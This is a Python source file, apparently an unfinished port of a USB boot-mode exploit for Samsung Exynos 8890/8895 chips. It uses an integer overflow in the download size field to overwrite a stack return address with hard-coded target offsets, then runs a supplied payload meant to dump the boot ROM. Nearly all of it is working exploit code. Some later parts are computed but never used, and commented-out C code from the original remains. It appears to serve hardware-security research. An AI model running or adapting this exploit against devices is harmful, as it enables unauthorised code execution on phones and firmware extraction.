import usb.core
import usb.util
import struct, sys, usb1, libusb1, ctypes
# from ghidra_assistant.utils.utils import *

def p32(x):
    return struct.pack("<I", x)

def p8(x):
    return struct.pack("<B", x)

def p16(x):
    return struct.pack("<H", x)

def p64(x):
    return struct.pack("<Q", x)

BLOCK_SIZE = 512
CHUNK_SIZE = 0xfffe00
MAX_PAYLOAD_SIZE = (BLOCK_SIZE - 10)

DL_BUFFER_START = 0x02021800
DL_BUFFER_SIZE = 0x4E800 #0x02070000 End

BOOTROM_START = 0x0
BOOTROM_SIZE = 0x20000 #128Kb

TARGET_OFFSETS = {
    # XFER_BUFFER,	RA_PTR, XFER_END_SIZE
    "8890": (0x02021800, 0x02020F08, 0x02070000),
    "8895": (0x02021800, 0x02020F18, 0x02070000)
}

ENDPOINT_BULK_IN = 0x81
ENDPOINT_BULK_OUT = 0x2

class ExynosDevice():

    def __init__(self, idVendor=0x04e8, idProduct=0x1234):
        """Init with vendor/product IDs"""
        self.idVendor = idVendor
        self.idProduct = idProduct
        self.target = "8890"  # TODO auto detect device
        self.connect_device()

    def connect_device(self):
        self.context = usb1.USBContext()
        while True:
            self.handle = self.context.openByVendorIDAndProductID(
                vendor_id=self.idVendor,
                product_id=self.idProduct,
                skip_on_error=True
            )
            if self.handle == None:
                continue
            break

        print("Connected device!")

    def write(self, data, size=-1):
        transfered = 0
        transferred = ctypes.c_int()
        if size == -1:
            size = len(data)
        res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, data, len(data), ctypes.byref(transferred), 0)
        assert(res == 0)
        return transfered

    def send_empty_transfer(self):
        transfered = 0x200
        transferred = ctypes.c_int()
        res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, 0, 0, ctypes.byref(transferred), 0)
        assert(res == 0)
        return transfered

    def test_bug(self):
        # Start by sending a valid packet
        # Integer overflow in the size field
        # unk + size + payload + header
        payload = p32(0) + p32(0xFDFDE7FF + 0x1000) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)

        assert (len(payload) == BLOCK_SIZE)
        self.write(payload, MAX_PAYLOAD_SIZE) 

        for i in range(200):            
            print(hex(self.send_empty_transfer()))
        
        print('Bug probably available')
        sys.exit(0)

    def exploit(self, payload: bytes):
        current_offset = TARGET_OFFSETS[self.target][0]
        transferred = ctypes.c_int()
        
        size_to_overflow = 0x100000000 - current_offset + TARGET_OFFSETS[self.target][1] + 8 + 6
        max_payload_size = 0x100000000 - size_to_overflow
        
        # max_payload_size = 0xffffffff - current_offset + DL_BUFFER_SIZE + TARGET_OFFSETS[self.target][1]
        # max_payload_size = (TARGET_OFFSETS[self.target][2] - TARGET_OFFSETS[self.target][0]) - 0x200 
        payload = payload + ((max_payload_size - len(payload)) * b"\x00")
        assert len(payload) == max_payload_size, "Invalid payload"
        
        # First send payload to trigger the bug
        bug_payload = p32(0) + p32(size_to_overflow) + payload[:MAX_PAYLOAD_SIZE] # dummy packet for triggering the bug
        bug_payload += b"\xcc" * (BLOCK_SIZE - len(bug_payload))
        res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, bug_payload, len(bug_payload), ctypes.byref(transferred), 0)
        assert res == 0, "Error triggering payload"
        assert transferred.value == len(bug_payload), "Invalid transfered size"
        current_offset += len(bug_payload) - 8  # Remove header
        
        # Send the actual payload
        # res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0)
        # assert res == 0, "Error sending payload"
        # current_offset += len(payload)
        
        cnt = 0
        while True:
            if current_offset + CHUNK_SIZE >= TARGET_OFFSETS[self.target][1] and current_offset < TARGET_OFFSETS[self.target][1]:
                break
            self.send_empty_transfer()
            current_offset += CHUNK_SIZE
            cnt += 1
            if current_offset > 0x100000000:
                current_offset = current_offset - 0x100000000 #reset 32 byte integer
            print(f"{cnt} {hex(current_offset)}")
        
        remaining = (TARGET_OFFSETS[self.target][1] - current_offset)
        assert remaining != 0, "Invalid remaining, needs to be > 0 in order to overwrite with the last packet"
        if remaining > BLOCK_SIZE:
            self.send_empty_transfer()
            # Send last transfer, TODO who aligns this ROM??
            current_offset += ((remaining // BLOCK_SIZE) * BLOCK_SIZE)
            cnt += 1
            print(f"{cnt} {hex(current_offset)}")
            
        rop_chain = (b"\x00" * 0x110) + p64(TARGET_OFFSETS[self.target][0]) + (b"\x00" * 2)
        # p_offset = (TARGET_OFFSETS[self.target][1] - current_offset)
        # rop_chain = rop_chain[:p_offset] + (p64(TARGET_OFFSETS[self.target][0]))
        # rop_chain = p64(TARGET_OFFSETS[self.target][0]) * 32
        # Should
        transferred = ctypes.c_int(0)
        res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, rop_chain, len(rop_chain), ctypes.byref(transferred), 0)
        # assert transferred.value == len(rop_chain), "Error sending ROP chain"
        
        buf = ctypes.c_buffer(b"", 0x200000)
        res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_IN, buf, len(buf), ctypes.byref(transferred), 1000)
        
        
        padding_size = TARGET_OFFSETS[self.target][1] - TARGET_OFFSETS[self.target][0]
        padding_size -= len(payload)
        
        
        # Construct payload, we can only overflow with 1 transfer.
        dl_buf_current = DL_BUFFER_START

        if len(payload) > MAX_PAYLOAD_SIZE:
            print("payload too big!")
            return

        payload = payload + ((MAX_PAYLOAD_SIZE - len(payload)) * b"\xcc")
        payload = struct.pack("<II", 0, MAX_PAYLOAD_SIZE) + \
            payload + struct.pack("H", 0)

        assert (len(payload) == BLOCK_SIZE)


        # while True:
        #     print(".", end="")
        #     self.write(b"")


        padding_size = TARGET_OFFSETS[self.target][1] - \
            TARGET_OFFSETS[self.target][0]

        padding_size -= MAX_PAYLOAD_SIZE
        padding_size += 8

        chunk_cnt = padding_size // CHUNK_SIZE
        padding_size = padding_size % CHUNK_SIZE
        block_cnt = padding_size // BLOCK_SIZE
        padding_size = padding_size % BLOCK_SIZE

        if (padding_size == 0 and block_cnt > 0):
            block_cnt -= 1
            padding_size = BLOCK_SIZE
        

        ram_size = padding_size + 4 + 2

        # # Reconstruct stack
        ram = b"\xcc" * ram_size
        ram = ram[:padding_size] + p32(TARGET_OFFSETS[self.target][0]) + ram[padding_size + 4:]
        
        # *(uint32_t*)&ram[padding_size] = targets[target_id][XFER_BUFFER];//overwriting return address in stack :]
        payload_size = len(payload) + (CHUNK_SIZE * chunk_cnt) + (BLOCK_SIZE * block_cnt) + ram_size
        pass
        # payload->size = original_payload_size + (CHUNK_SIZE * chunk_cnt) + (BLOCK_SIZE * block_cnt) + ram_size;
        # dprint("malicious payload->size=0x%x\n", payload->size);

        # uint32_t min_size_to_overflw = (uint32_t)0 - targets[target_id][XFER_BUFFER];
        # dprint("min_size_to_overflw = 0x%x\n", min_size_to_overflw);
        # if(min_size_to_overflw > payload->size)
        #     printf("ERROR : min_size_to_overflw > payload->size\n");

        # // step 3 : usb communication
        # printf("- exploit: sending payload...\n");
        # rc = libusb_bulk_transfer(handle, LIBUSB_ENDPOINT_OUT | 2, (uint8_t*)payload, original_payload_size, &transferred, 0);
        # if(rc) {
        #     printf("libusb_bulk_transfer LIBUSB_ENDPOINT_OUT: error %d\n", rc);
        #     fprintf(stderr, "Error libusb_bulk_transfer: %s\n", libusb_error_name(rc));
        #     return rc;
        # }


if __name__ == "__main__":
    # wait_for_device()
    exynos = ExynosDevice()
    path = "dump/exynos-usbdl/payloads/Exynos8890_dump_bootrom.bin"
    # path = "/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin"
    exynos.exploit(open(path, "rb").read())
    pass